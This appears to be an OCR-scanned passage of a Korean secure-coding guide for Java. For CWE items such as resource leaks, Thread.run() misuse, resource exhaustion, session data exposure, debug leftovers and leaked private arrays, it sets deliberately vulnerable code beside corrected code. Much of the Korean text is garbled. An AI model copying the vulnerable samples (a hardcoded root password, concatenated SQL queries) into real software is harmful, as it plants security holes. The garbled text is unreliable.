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IYEE vt ol oo dgo] wAste] drt FEE u <)o) Y of e} g

e}
glol finally £S04 SPure AU wEach

=

Y N S Gy
SO L R o i o

NN N NN
N Gy

W OwW W W W R W

—
=

N R e
S 9 »

W oW W NN
A

e
2

Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url);
stmt = conn.createStatement() ;

catch (ClassNotFoundException e)

{

System.err.print("error");

}
catch (SQLException e)

{

System.err.print("error");

}
finally

{
if(stmt != null)
{
try
{

stmt.close() ;

}
catch(SQLException e)

if(conn != null)
{

try

{

conn.close() ;

}
catch(SQLException e)
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B dAF Z=9] ¢ - JAVA

1T e
2: public void processFile() throws SQLException

3

4: Connection conn = null;

5: String url = "“jdbc:mysql:/ /127.0.0.1/ example?user=root&password=1234";
6 oty

7 {

8 Class.forName("'com.mysql.jdbc.Driver");

9: conn = DriverManager.getConnection(url);

10 e

11: }

12: catch (ClassNotFoundException e)

13: {

14: System.err.print("error");

15: }

16: catch (SQLException e)

17: {

18: System.err.print("error");

19: }

20: finally

21: {

T

23 // O o1’ AH83kA] 2o FA cose()E dlFH ok Sk
24: conn.close();

25, e

g dAlE HEYD 92 F AS F o7t BasE ASUR £ Ao
97 get) oloh e ggol wEd A9 Axdold g 7bed Aol m¥

% Sek

1:  class WebServer

2

3 public static void main(String argv[]) throws Exception

4 {

5: // AMEAE AT gAE 7R s 80 LES ARSRITH

6 ServerSocket listenSocket = new ServerSocket(80);

7 System.out. printin("WebServer Socket Created");

8 Socket connectionSocket;

9: ServerThread serverThread;

10: /] =82 =0 STCIJES] H&S et

11: // accept()i= Blocking ™A =]t}

12: while((connectionSocket = listenSocket.accept()) = null)
252 <« H5F IZE 27



13: {

14: // AR 2EEE Akl At

15: serverThread = new ServerThread(connectionSocket);

16: serverThread.start();

17:

18: }

19:

20: }

21:

22: '}

oo gae] whstel 7k SR Wl olele] WAy oo} Frgle] finally HZol A
FPue A BT

B aAHF F=9] o - JAVA

1:
2:
3:
4:
5:
6:
7:
8:
9:

10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:

class WebServer
{
public static void main(String argv[]) throws Exception
{
// AHAEAE AR A E VEH o R 80 XES
ServerSocket listenSocket = null;
Socket connectionSocket = null;
ServerThread serverThread = null;
try

{
listenSocket = new ServerSocket(80);

/] 8L EUA FeloldEe] H&e Wit
// accept() Blocking "4 =o|t}.
while((connectionSocket = listenSocket.accept()) = null)
{

// AR 2EEE skl Ay,

serverThread = new ServerThread(connectionSocket);

server Thread.start();

}
catch(Exception e)

{

}
finally
{
if(listenSocket != null)
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31:

32:

33:

34:

35:

36:

37:

38:

39:

40:

41: }
42: }
43:

44: }

listenSocket.close();
listenSocket = null;
}
if(connectionSocket != null)
{
connectionSocket.close();

connectionSocket = null;

CE U |

[1] CWE-404 Improper Resource Shutdown or Release,
http:/ /cwe.mitre.org/ data/ definitions/404.html
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= AFA: notify() £Z(Code Correctness: Call to notify())

7t A
2H =9 notify()2 A TE5H Aol JE 28T FoA ofE ~HTE 7feA B9
gttt ki A 5557 Y= Ao =tk

L A I AR L

= notify() & A4 T oJH 2EEE ZeR ERERRE AR & Zlo] Fhh
=
no
o dﬂ?ﬂ] — o3

T e -
2: public synchronized void notifyJob() g
3 kU
4: boolean flag = true; on
5 notify(); ]

y0) r
= In

notify() Wl AEE AF88A et

B aAF 7=9] o - JAVA

=

2:  public synchronized void notifyJob()

3

4: boolean flag = true;

5 // notify() MASE AHgSA etk
6

}

A

oZo] dlelA < jobld} FF job2w ZH2be] e QlellA wait()E TERAL UTh
Tt thread1¥} thread2”} 27} jobl¥ job2oll A o] JATHA, notify()7} SE2EHAS
o] B od ol e thread®] 3 o] A/fEA & 71 itk °o]#¥3 2=
2 TR 3 550 BN LFE Lo JhsAo]l 2oHE HER
AgH o2 2= Ao Foh

o
__TL
Ll

public class JobCollection

{

public synchronized void awake()

{
notify();
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6
7:
8: public void jobl()
9 {

11: wait();

15: public void jobs2()
16: {

18: wait();

o9 dA A=
awakeJob27} EEFH UL A
T o], z=OYY 9 &

locko] = o8]

B AT I=9] o - JAVA

= 2EEIF ANEEAE &

23: public void jobs2()

1:  public class JobCollection
2 |

3: Lock jobLockl;

4: Lock jobLock2;

5:

6: public synchronized void awakeJobl()
7 {

8: jobLockl.unlock();

9: }

10:

11: public synchronized void awakeJob2()
12: {

13: jobLockl.unlock();
14: }

15:

16: public void jobl()

17: {

18:

19: jobLock1.lock();

20:

21: }

22:
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24: {

25:

26: jobLock2.lock();
27:

28: }

29: }

g Fx &4
[1] CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization
(Race Condition), http://cwe.mitre.org/data/definitions/362.html

Sl

[2] CWE-662 Improper Synchronization, http://cwe.mitre.org/data/definitions/662.html

[3] Sun Microsystems, Inc. Java Sun Tutorial - Concurrency

Slolc BEElY
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4. = A BAHEIL serialPersistentFields A Code Correctness:

Incorrect serialPersistentFields Modifier)

7}

89

serialPersistentFieldsE g &stA] AME-317] 9134 ‘private static final’ 2 A1) oF

T} publico. 2 Addste] Ffatd Fde sid -+ Utk

. AT 297
= serialPersistentFieldsE A &stA] AH&-8tH ™ private, static, final = A afofF ).

. A
serialPersistentFields& A &slA] AH8-5l7] 91841+ private, static, final2 A3} oF

=k

o

&

1:  class List implements Serializable
2: |

3: public ObjectStreamField|] serialPersistentFields =

{ new ObjectStreamField("myField", List.class) };

serialPersistentFieldsS A &3}7] AR83l7] $18l 4= private, static, final=Z Ad3]oF 7

.

B aAF F=9] o - JAVA

1:  class List implements Serializable
{
private static final ObjectStreamField[] serialPersistentFields =
{ new ObjectStreamField("myField", List.class) };

3 B3

[1] CWE-485 Insufficient Encapsulation, http://cwe.mitre.org/data/definitions/485.html

[2] Sun Microsystems, Inc. Java Sun Tutorial
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5. I = A&A: Thread.run() & (Code Correctness: Call to Thread.run())

7k A9
2O 2# =9 start() Aol run()& SESH 2#|=vF AREA @, S
run() e A SF3Y AT run() T FEE WP F ZEOHHE HEL
2HEE ARAIZIE A AR start() DAl run()S EEFOER TE2Ae] A=A
run() MAEE AdsA Aok

W oA Iy

n 29| run() Aol start)E FIHFES g

Sl

o} oA
start() Aol run() WMAZE ARSIl Stk
=

WA e 2za o9 -pava | n
1o e <
2 protected void threadStart() (l)-JEJ
3 { N
4 Thread thr = new PrintThread(); 2
5 /) 2EE AR run() IASE HH EESE AL B w0l In
6: thr.run();
7 b e
8}
9:  class PrintThread extends Thread
10: |
11: public void run() {  System.out.println("CWE 572 TEST"); }
12: }

Y =9 start() WAEE ARSI

B 343 229 o - JAVA

1T e
2 protected void threadStart()

3 {

4 Thread thr = new PrintThread();

5: /] MEE Z=H =5 AZAZITL

6 thr.start();

7 b e

8}

9:  class PrintThread extends Thread

10: |

11: public void run() {  System.out.printin("CWE 572 TEST"),  }
12: }
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1:  class WebServer

2

3 public static void main(String argv[]) throws Exception
4 {

5: // AREAE AT PAE 7R s 80 ZES ARSI
6 ServerSocket listenSocket = null;

7 Socket connectionSocket = null;

8 ServerThread serverThread = null;

9 try

10: {

11: listenSocket = new ServerSocket(80);

12:

13: /] 3L 204 FgolAES] &2 et

14: // accept()+= Blocking ™A =o|tt.

15: while((connectionSocket = listenSocket.accept()) = null)
16: {

17: // AR 2EEE AYgate] Aggit

18: serverThread = new ServerThread(connectionSocket);
19: serverThread.run();

20:

21: }

22:

23: }

24: catch(Exception e)

25: {

26:

27: }

28: finally

29: {

30:

31: }

32: }

33:

34: }

2 29| start() WAEE AT

B AT I=9] ¢ - JAVA

1:  class WebServer
2. |
3: public static void main(String argvl[]) throws Exception
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4: {

5: // AHAAE AT YA E Z1EH o R 80 XEE ARE3Ith

6: ServerSocket listenSocket = null;

7: Socket connectionSocket = null;

8: ServerThread serverThread = null;

9: try

10: {

11: listenSocket = new ServerSocket(80);

12:

13: /] e B4 FEOIRIES &S Wt =
14: // accept()= Blocking "4 =o|t}. N
15: while((connectionSocket = listenSocket.accept()) = null) (2
16: {

17: // AW 2EEE At At

18: serverThread = new ServerThread(connectionSocket); -
19: serverThread.start(); Hu
20: %
21: } (l)-ﬂ
22: N
23: } §
24: catch(Exception e) In
25: {

26:

27: }

28: finally

29: {

30:

31: }

32: }

33:

34: |}

- AR |
[1] CWE-572 Call to Thread run() instead of start(),
http:/ /cwe.mitre.org/data/definitions/572.html
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6 I= A ISk WASE vlE7|sE WAEE A2 (Code Comrectness:
Non-Synchronized Method Overrides Synchronized Method

7t A9
S E dEHol ARgSE A, A9 FdzolA 5718 (synchronized) WAEE
skl Sl ]/\1 ZH%«](ovemde) stA FAY, Aok st Ag 71EFH FLsHA
57134 (synchronized) "WAEE A os)oF g,

. kA% 3971
= 319 FP2=olA F718HE (synchronized) MIAEE A7 olalof dt= 7, 49l F9t
5 Y3A synchronized WAZZE Aj7g 2| of gt}

t}. oAl
491 Eellz=olA F715H8 (synchronized) MIAEE &1 FYzolA B F7IskE WA=
2 A2 (override)stH <+ Hrh

1:  public class syncMethod

2. |

3: public synchronized void synchronizedMethod()
4: {

5: for (int i=0; i<10; i++) System.out.print(i);
6: }

7o e

8}

9:

10:  public class syncPrint extends syncMethod

11: |

122/ 87188 dAa=2 FodA gt

13: public void synchronizedMethod()

14: {

15: for (int i=0; i<20; i++) System.out.print(i);
16: }

17 }

57131 (synchronized) W&t AA o] A ar, wef AHe & e Tt
(synchronized) WAE=2 A 2ldoF o},

B 3A3 7=9] o - JAVA

1:  public class syncMethod
2: |
3: public synchronized void synchronizedMethod()
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4: {
5: for (int i=0; i<10; i++) System.out.print(i);
6: }
7o e
8
9:
10:  public class syncPrint extends syncMethod
11 {
12: public synchronized void synchronizedMethod()
13: { =
14: for (int i=0; i<20; i++) System.out.print(i); RS
15: } 0?'"
16: }
ARl

[1] CWE-665 Improper Initialization, http://cwe.mitre.org/data/definitions/665.html
[2] Sun Microsystems, Inc. Bug ID: 4294756 Javac should warn if synchronized method

is overridden with a non synchronized

Slolc BEElY
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7. B3 X &F(Allocation of Resources Without Limits or Throttling)

7t A9
ZEIOP0] ALE AR F AR AV & ARHEAE AulaE S Qe A
S AR @1, Mula 2 Auith 2 FskE A4S it

%

Lo

L L i R A D
s ZE A Ade QES ] AHSST B F, wEA AU AR,
o AEATE AT 5 A AR P2 AT
% ABATE HIE 4 Us Aol Y2 MBBCL S5 MEE KUS BN AR s

M Pool(Thread Pool, Connection Pool S)2 A23iCH

. dA
close()ZS 7] el ¢e7F dojutH, open® A2 dangling resource® H E.E] o
AT & F2E @oiW3ly] bl A2 =7lsith

1:  Connection conn = null;

2:  PreparedStatement pstmt = null;
3 try

4. |

5: conn=getConnection();

6

7 pstmt = conn.prepareStatement("SELECT * FROM employees where name=?");
8

9 conn.close();

10: pstmt.close();

11}

12:  catch (SQLException ex) {...}

F3tol Ao dge] A H T E v FREY] A &4 finallywg TR,
LS AT HS & finallyEoll A AT

B aA3 F=9] o - JAVA

1:  Connection conn = null;

2:  PreparedStatement pstmt = null;

3. try

4. |

5: conn=getConnection();

6:

7: pstmt = conn.prepareStatement("SELECT * FROM employees where name=?");
8:

9: |}
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10:  catch (SQLException ex) {...}

11: /) ALE AH8skar siAl Al 3 finallyZoll Al ok

12:  finally

13 {

14: if ( conn!= null ) try { conn.close(); } catch (SQLException e){...}
15: if ( pstmt!= null ) try { pstmt.close(); } catch (SQLException e){...}
16: }

B
NS
>
ofo
=1
2

ool dAeAEs S §lol 7F ~E=E A4
o) 28 20t AYe getnz T8AQ AHgo] o] FolxA|

=of Atk

&2
o

o
n g
ox
o
!
2

1:  class WebServer

2

3 public static void main(String argv[]) throws Exception
4 {

5: // AWEAE AR X ZRH R 80 LEE AHERI
6 ServerSocket listenSocket = null;

7 Socket connectionSocket = null;

8 ServerThread serverThread = null;

9 try

10: {

11: listenSocket = new ServerSocket(80);

12:

13: /] €8 UM STOIJES] H&S Beh
14: // accept()= Blocking ™4 =o|t}.

15: while((connectionSocket = listenSocket.accept()) = null)
16: {

17: // AW 2EEE skl itk

18: serverThread = new ServerThread();

19: serverThread.init(connectionSocket);

20: serverThread.start();

21:

22: }

23:

24: }

25: catch(Exception e)

26: {

27:

28: }

29: finally

30: {

31:

M58 ZE 2F »» 265

Sl

Slolc BEElY



Java A|7}0{3Y 7I0|E e

32: }

33: }

34:

35}

28 =7} A4E ul ServerThreadPool.getInstance().alloc();E 53l PoolZFE A9
7hA 9} A8t AlE-F ServerThreadPool.getInstance().free(this);ol Al #-91-& Hk&3ic),

B A% Z=9 9 - JAVA

flo

1:  class WebServer
2: |
3: public static void main(String argv([]) throws Exception
4: {
5: // AW aAE ARtk A E 712 0= 80¥ XEE ARSI
6: ServerSocket listenSocket = null;
7: Socket connectionSocket = null;
8: ServerThread serverThread = null;
9:
10: try
11: {
12: listenSocket = new ServerSocket(80);
13:
14: /] €8 EUA ZElAE] F&L etk
15: // accept()+= Blocking ™A =o|tt.
16: while((connectionSocket = listenSocket.accept()) = null)
17: {
18: // AW 2EEE st Atk
19: serverThread = ServerThreadPool.getInstance().alloc();
20: if(serverThread != null)
21: {
22: serverThread.init(connectionSocket);
23: serverThread.start();
24:
25: }
26: }
27:
28: }
29: catch(Exception e)
30: {
31:
32: }
33: finally
34: {
35:
36: }
266 <« H5H IE 2F



37 }

38:

39}

40:  class ServerThread

41: |

42: public void run()

43: {

44:

45: ServerThreadPool.getInstance().free(this);

46: } =

47. '} N
0

2 Fa 23

[1] CWE-400 Uncontrolled Resource Consumption(Resource Exhaustion),
http:/ /cwe.mitre.org/data/definitions/400.html

[2] CWE-774 Allocation of File Descriptors or Handles Without Limits or Throttling,
http:/ /cwe.mitre.org/data/definitions/774.html

[3] CWE-789 Uncontrolled Memory Allocation,
http:/ /cwe.mitre.org/ data/ definitions/789.html

[4] CWE-770 Allocation of Resources Without Limits or Throttling,
http:/ /cwe.mitre.org/data/definitions/770.html

Slolc BEElY

[5] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 17, "Protecting Against
Denial of Service Attacks" Page 517. 2nd Edition. Microsoft. 2002

[6] J. Antunes, N. Ferreira Neves and P. Verissimo. "Detection and Prediction of

Resource-Exhaustion Vulnerabilities". Proceedings of the IEEE International
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A6d 743}t
LZEYO7L T35 dHolHyY 7sdE
A71= A eke dlolH
JFsal Xtk AEste 9 o
W oolyet AZEO HF SHO F U W ou|E AEHTh

1. ZEE A 23 dHlo|e R =Z(Exposure of Data Element to

Wrong Session)

7t A

el M= A= E(singleton) A BZo A ZZ(race condition)o] A
28 = 372l javad] A E(servlet) ol HRE A=

A7 FH A GEE st M2 T8 AAdddA HolHE FfskA AESE siof &

n AZE HE1lE AESke A9, WG HEl(Scope)dll FE 7] o dtrt. 53] Javaol Al
+ HttpServlet 29| at9|Sez=ollA] WY BEF MR RESF ko Bad 495
A HEFE AAste] ARggTh

ok <A
T AR A B HES A, A HA ALEAE Y% 2@ =T} out.printing.)S
TR dell F A ARgARe] 28 =7 name = .. & FHEE A WA ALBAE F
A AFEALS] A H(name)E HA Hrh

1:  public class printName extends HttpServlet

2. |

3: private String name;

4: protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException

5: {

6: name = request.getParameter('name");

7o e

8: out.println(name + ", thanks for visiting!")

9: }

10: }

a3 g AYHTE AAste] AHEETh

M ¢1A3s I=9 4 - JAVA

11:  public class printName extends HttpServlet

183
>
fob



2: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException
{
// AGHEFE AR
String name = request.getParameter("name");
if (name == null || "".equals(name)) return;
out.println(name + ", thanks for visiting!");

O X NG kR

kel clAlol Al HetpServiet 2e)29] shelZel ol A Wn BES Hdlste] ALga
B2 AFAED IS A8t Uk

Sl

1. // fillUserLogininfo2 - id, password® d7 W= A& W Wl 443t o

2:  import java.io.IOException; ﬂ

3:  import java.sql.Connection; 2

4:  import java.sql.Statement; H
on

5. import java.util.regex.Matcher; N

6:  import java.util.regex.Pattern; §

7:  import javax.servlet.ServletException; In

8: import javax.servletannotation.WebServlet;

9:  import javax.servlet.http.HttpServlet;

10:  import javax.servlet.http.HttpServletRequest;

11:  import javax.servlethttp.HttpServletResponse;

12:

13: /**

14:  * Servlet implementation class Sqllnjection

15 */

16:

17:  public class Service extends HttpServlet

18: |

19: private final String COMMAND_PARAM = "command";

20:

21: // Command #& 2]

22: private final String GET_USER _INFO_CMD = "get_user_info";

23: private final String USER_ID_PARM = "user_id";

24: private final String PASSWORD_PARM = "password";

25: private String userld;

26: private String password;

27:

28: private void fillUserLoginInfo()

29: {

30: userld = request.getParameter(USER_ID_PARM);

31: password = request.getParameter(PASSWORD_PARM);

14 7H

1Al
E\ll
>
ton
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34: protected void doGet(HttpServletRequest request, HttpServletResponse response) throws

ServletException, IOException

35: {

36: String command = request.getParameter("command");

37:

38: if (command.equals(GET_USER_INFO_CMD))

39: {

40: fillUserLoginInfo();

41: Statement stmt = con.createStatement();

42: String query = "SELECT * FROM members WHERE username=

SecureString(userld, MAX_USER_ID_LENGTH) + " AND password

SecureString(password, MAX_PASSWORD_LENGTH) + "";

44: stmt.executeUpdate(query);

'S
—

m

m

+ make-

+ make-

AgsE el ARE BAT F AT ok

B AdAF I=9] ¢ - JAVA
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1:  // fillUserLoginlnfo® E| id, password® 97 W= 28 A WSl 24 g)
2:  import java.io.IOException;

3:  import java.sql.Connection;

4:  import java.sql.Statement;

5:  import java.util.regex. Matcher;

6:  import java.util.regex.Pattern;

7:  import javax.servlet.ServletException;

8:  import javax.servlet.annotation.WebServlet;

9:  import javax.servlethttp.HttpServlet;

10:  import javax.servlet.http.HttpServletRequest;
11:  import javax.servlet.http.HttpServletResponse;
12:

13 /*

14:  * Servlet implementation class Sqllnjection
15 */

16:

17:  public class Service extends HttpServlet

18 {

19: private final String COMMAND_PARAM = "command';
20:

des




21: // Command ## <]

22: private final String GET_USER_INFO_CMD = "get_user_info";
23: private final String USER_ID_PARM = "user_id";

24: private final String PASSWORD_PARM = "password";

25: private String userld;

26: private String password;

27:

28: private final int USER_ID_INDEX = (;

29: private final int USER_PASSWORD_INDEX = 1;

30: =

31: private String[] fillUserLoginInfo() RS

32: { 0-)-"

33: String [] loginInfo = new String[2];

34: loginInfo[USER_ID_INDEX] = request.getParameter(USER_ID_PARM);

35: loginInfo[USER_PASSWORD_INDEX] = request.getParameter(PASSWORD_PARM); -

36: return loginInfo; Hu

37 ) 2

kU

38: on

39: protected void doGet(HttpServletRequest request, HttpServletResponse response) throws N
ServletException, IOException §

40: { In

41: String command = request.getParameter("command");

42:

43: if (command.equals(GET_USER_INFO_CMD))

44: {

45: String[] logininfo = fillUserLoginInfo();

46: String userld = logininfo[USER_ID_INDEX];

47: String password = loginlnfo[USER_PASSWORD_INDEX];

48: Statement stmt = con.createStatement();

49: String query = "SELECT * FROM members WHERE username= " + make-

SecureString(userld, MAX_USER_ID_LENGTH) + " AND password = " + make-
SecureString(password, MAX_PASSWORD_LENGTH) + "";

50:

51: stmt.executeUpdate(query);

52: }

53:

54: }

55:

56: }

2t Fx £
[1] CWE-488 Exposure of Data Element to Wrong Session,
http:/ /cwe.mitre.org/ data/ definitions/488.html
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2. AAFA &3 G2 ¥ I X(Leftover Debug Code)

UW7g BHoz 48 =EE ge] $EHW AAsCl @k UM == 4y

S WGW YRE GAG A2D Acis Hese RS THL UL 5 Uk

W AR A =D A FAAE A8 HPE SasAY omsia e gust
7

<Y 220> AAFA &3 G g Z=

U HAFE =97
m SWHIZ M, 9rEA W1 55 91 B AA g I O F Java A 4 9
oAZAIAE AT w oML §5 FTEE main()oll L F o] & AR e
7971 2o g A o] EYE main() WAEE Ao ok

o} oA

J2EESt 22 FEIZ=IA Ao R AREE main() HlAEE AHA H o of
ot
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1:  public class removeDebug extends HttpServlet

2

3 protected void doGet(HttpServletRequest request, *** ) throws *** o }

4: protected void doPost(HttpServletRequest request, *** ) throws “*** { }

5: // HIZEE 1% main() oyt OHA8 20 EHE So] dof th

6 public static void main(String args[])

7 {

8 System.err.printf("Print debug  code"); -
9: } t
10: e oz

J2EES} 2 S8 2O TIHA§ main() MAEE AAgT

W 283 =9 o - JAVA 3
11:  public class removeDebug extends HttpServlet ﬁ
1 oo
2: protected void doGet(HttpServletRequest request, *** ) throws ***** { o } N
3: protected void doPost(HttpServletRequest request, *** ) throws =" { } §
4: // HI2E& FT== A A= In
5 e

5o A= 9 A 29 RES MEEACdA THEIYE HAE 559 2
oty A= o EF& htmld2:o|A] B Il authenticate_login.cgi’} 2121 U%"d%
& g A =Y olHd AREL FAACNA T4 Al i BRE AFsA Aot

<FORM ACTION="/authenticate_login.cgi">
<INPUT TYPE=TEXT name=username>
<INPUT TYPE=PASSWORD name=password>
<INPUT TYPE=SUBMIT>

</FORM>

R S |

[1] CWE-489 Leftover Debug Code, http://cwe.mitre.org/data/definitions/489.html
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3. Al2¥] dlo]H HE =Z(Information Leak of System Data)

7k A
AR ADB AR 5 Axde] Wi dolEst FAHE, oF Fal FAANA of
oltelg AFSE 5 Ao WAt Ak

' - / ™
System.err.printfle.getMessage(; DbH &

<19 221> A 2EH HolE R =&

. kAT Y71
AR Sdate] A9 o9 dsto] WAYE A Al 2E AR o] ARE g EEEE

2 s 497k Bk o9l ggel AT ) Axgle] UR Hus) s EHsA o
= JpEsieh
o} oAl
o ] BAA| getMessage()5 B3 27} AR Al2H delgR § WA FRIF &
=2 At
2: public void getMsg()
3: {
& try {  Msgexcp(); |}
5: catch (IOException e)
6: {
1: // ole] A printf(e.getMessage() & B3l 27 WAIA HEI} FEHh
7 System.err.printf(e.getMessage());
8: }
9: }
10: private void Msgexcp() throws IOException { =" }
17 e

JgHeld gAe) Wzt @ & Qe R BB YA e AF SR
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5 e

3 public void f()

4 {

5: try {  Msgexcp(); }

6: catch (IOException e)

7 {

8 // end user’t B & JE &F WAA HRE AWASA] oot itk

9: System.err.println("IOException Occured"); -

10: } t

11: } o

12: private void Msgexcp() throws IOException { =" }

13 e

Theel dAelAE dlgl B Al FAHR] 2F U187 defaultPathol HF AR o

=2 5 Atk =]

kU
on
]

1:  String defaultPath; o

2:  FilelnputStream fileInputStream; In

3 try

4: |

5: defaultPath = System.getProperty("java.library.path").toLowerCase();

6: filelnputStream = new FileInputStream(defaultPath + "exec_file"):

70 ..

8 }

9:  catch (Exception )

10: |

11: System.out.println("Cannot find exe on path " + defaultPath + "\n");

12}

13:

hEHolE FAe Arkelrl B & gl Azd Bl gue A WARd A7
Heby QHsi,

B aAF Z=9] o - JAVA
String defaultPath;
FileInputStream filelnputStream;

try
{

defaultPath = System.getProperty("java.library.path").toLowerCase();
filelnputStream = new FileInputStream(defaultPath + "exec_file"):

H

E\ll
>
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9:  catch (Exception e)

10: {

11: System.out.println("Cannot execute file");
12: }

2 1 B
[1] CWE-497 Exposure of System Data to an Unauthorized Control Sphere,
http:/ /cwe.mitre.org/data/definitions /497 html
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4. Public WAEZFH HI3H private ] E(Private Array-Typed Field
Returned From A Public Method)

7% A9
private2 AMAE WES publice 2 MAR wAEE B3l BFH(return)std, 11 Wi E9]
Faagko] ool FAF o] QR wjd FAo] rHesfzlinh

U s 3371
= private® A4 LS publice®E AR wAEE Fall W3t
Lad A5 LY FAES wge Ay, 84S Aolsk= public ™
sk} AHE-RI.

o} oA
W WS colorst private2 AAFUAITE publice 2 AAE getColors() MAEE 5

3l reference® L& F Uth ol B3l Y=stA &2 o] AT F Uk

JEE 8o} BT
=E]

| ok
[E=t==- R=R=A 5]

Sl

1. // private ¥E-& public M4E=7} returngtch
2:  private String[] colors;
3:  public String[] getColors() {  return colors; }

Slolc BEElY

private HlE 9| HAES AAdste] AL WSS AAEHE private AAE v Hol

W omshA 2e £HL PAY 5 Yok

B 348 3=9 o - JAVA

1T e

2:  private String[] colors;

3 /) MAES privaeS R AL, BARS MBSAL, 4L Aolshs public WSS 2
52 nheth

4:  public String[] getColors()

5

6 String[] ret = null;

7: if ( this.colors != null )

8 {

9 ret = new String[colors.length];

10: for (int i = 0; i < colors.length; i++) {  ret[i] = this.colors[i]; }

11: }

12: return ret;

13: }

1ge e
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ThreadPoolGetl| /| ThreadPoolZ| 25 5314 &1 AMZL 2 E=EE Frista Jo.

class ThreadPool

{
private ArrayList<Thread> threads;

1:

2:

3:

4:

5: public ArrayList<Thread> getList(){
6: return threads;

7:

8:

9:

}
10:  class ThreadPoolGet

11: |

12: public static void main(String args[])

13: {

14: ThreadPool pool = new ThreadPool();

15: ArrayList<Thread> poolData = pool.getList();

16: Thread thread= poolData.get(2);

17: poolData.add(new Thread());  // Thread Pool®] interfaceE B34 &3 A=
& thread& 57}

18: }

19: }

NzE ~d= YALe F27 ThreadPool®] A 3ol Aut o] oA T2 HTh

B aAF Z=9] o - JAVA

1:  class ThreadPool

2

3 private ArrayList<Thread> threads;

4

5: public int size()

6 {

7 return threads.size();

8 }

9:

10: public Thread get(int index)

11: {

12: return threads.get(index);

13: }

14:

15: }

16:  class ThreadPoolGet

17: |

18: public static void main(String args[])
278 <« H6% a3



19: {

20: ThreadPool pool = new ThreadPool();

21: Thread thread = pool.get(2);

22: // Thread Pool?| interfaceE 53H4 %31l MZL threadS 57} &7}
23: }

24: }

g Fx &4
[1] CWE-495 Private Array-Typed Field Returned From A Public Method,
http:/ /cwe.mitre.org/ data/ definitions /495.html
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5. private "Bl Public Hl©|E] ¥ (Public Data Assigned to Private
Array-Typed Field)

7t A9
publice. 2 Ad "oy F& wWise QA} private A videol A=, pri-

vate H|ES JFoA AT 4 U

. AR 2971
= public® 2 MAAE HoJE7} private AAH ol ALHA =S

o

o,
o} oA

userRoles == private©] A%}, public?] setUserRoles()& 53l <]F-2] wjdo] &y
A, AH44 public =7} Ho)

1T e

2: // userRoles BEi= private©| |, publicQ!l setUserRoles()E T3l <59 njdo] =M,
A2 public BE=7) Ak

3: private String[] userRoles;

4:

5. public void setUserRoles(String[] userRoles)

6: |

7: this.userRoles = userRoles;

8}

YRS

AHH LY reference”t obd ¥l o] FhE private M E o] FIF O EH private M
22X HZANE A AAET

Bl aAHF Z=9] o - JAVA

1. e
2. /) AATZE ¥ 29 private members TAA| FEF Fth
3:  private String[] userRoles;
4:
5:  public void setUserRoles(String[] userRoles)
6: |
7: this.userRoles = new String[userRoles.length];
8: for (int i = 0; i < userRoles.length; ++i)
9: this.userRoles[i] = userRoles][i];
10: }
1q: e
280 <« H6ZE =zl



Ho

binaryLocations == private®] A}, new SeviceManager(binaryList);E 53 A=
Wjgo] ddEH, M2 Tdd g2 A4 public &7} ok

1:  class SeviceManager

2. |

3: private ArrayList<String>  binaryLocations;

4:

5: public ServiceManager(ArrayList<String> binaryLocations)

6: { >
7: this.binaryLocations = binaryLocations; o
8: 0_)'|_
9: }

10: public void restartAll()

11: {

12: killAllService(); =
13: for(int idx = 0; idx < binaryLocations.size(); idx++) g
14: { (I)'JI:II
15: restartService(binaryLocations.get(idx)); :I
16: } =
17. ) n
18 1}

19:  class SeviceManager

20: |

21: public static void main(String args[])

22: {

23: ArrayList<String> binaryList;

24: binaryList.add("/usr/bin/ftpd");

25: binaryList.add("/usr/bin/httpd");

26:

27: SeviceManager pool = new SeviceManager(binaryList);

28:

29: binaryList.add("/home/user/my_service");

30: pool.restartAll(); // ftpd, httpd, my_service 371¢] Au|27} A|ZHE T,

31: }

32: }

Hests XA &7 93l new SeviceManager()E A3 Wl privateS=E HAF bi-
naryLocationsE A8-34] 2531 binaryLocations.clone();E A-8-3to] shallow copy® Z-<
AH-&-3t AT

B 3A3 7=9] o - JAVA
1:  class SeviceManager

2: |

3: private ArrayList<String> binaryLocations;

H
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4

5 public ServiceManager(ArrayList<String> binaryLocations)
6 {

7: this.binaryLocations = binaryLocations.clone();

8

9 }

10: public void restartAll()

11: {

12: killAllService();

13: for(int idx = 0; idx < binaryLocations.size(); idx++)

14: {

15: restartService(binaryLocations.get(idx));

16: }

17: }

18}

19:  class SeviceManager

20: |

21: public static void main(String args[])

22: {

23: ArrayList<String> binaryList;

24: binaryList.add("/usr/bin/ftpd");

25: binaryList.add("/usr/bin/httpd");

26:

27: SeviceManager pool = new SeviceManager(binaryList);
28:

29: binaryList.add("/home/user/my_service");

30: pool.restartAll(); // ftpd, httpd 27119] AR|2~7} AJRbEITh
31: }

32: }

2 Fx #d
[1] CWE-496 private Public Data Assigned to Private Array-Typed Field,
http:/ /cwe.mitre.org/data/definitions /496.html
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6. 1174 HolEE 71z Wi Z#l 2 A8(Use of Inner Class Containing
Sensitive Data)

7t A9
Wi Sl A A AAM H71A FEe] A2 om nH) L‘H—‘E": of oj=atA] %

< AR W7 Y 5 Utk olF FAsr] e A (static) HF 2 z
(local) Ul F#l2 =& 29 (anonymous) WH FH =S AHE3H= 7,\—% s of gt

. Bt =
7 FY 2 AR A QR 2229 private BEE HIEHA BEF Pk s oE W (l);_
T s ASSHA @5 o, E7FsH R FHAE AHSE A, H (static)
T A9 H(local) == )™ (anonymous) WSS AHEsfoF
%. oA e
W% Feat wolERsdNE A71A 47 ASAR WY dEe) uR 2o} 2
=YL = SR WA Ao HT A, o] R S2E Tl AR =2 on
e N
o
In
1:  public final class privatepublic extends Applet
2
5 ) 9% Zesold Ui Zeas JbEA HQF SRS RERelA: ok Htk
4: public class urlHelper { String openData = secret; }
5 String secret;
6 urlHelper helper = new urlHelper();
7}
Wi S8 ARl FoaiA R F el 2R S 29 private BEE T
5t B

B A3 229 o - JAVA

public class privatepublic extends Applet
{
// W 225 A (static) AAsto] 25 Fe 29 private D=l HZ XskA ok
{1
String secret;
urlHelper helper = new urlHelper(secret);

1
2
3
4: public static class urlHelper
5
6
7

W gt volESSdAE A714 $2 AIAZ w7 mEe] R 2ot
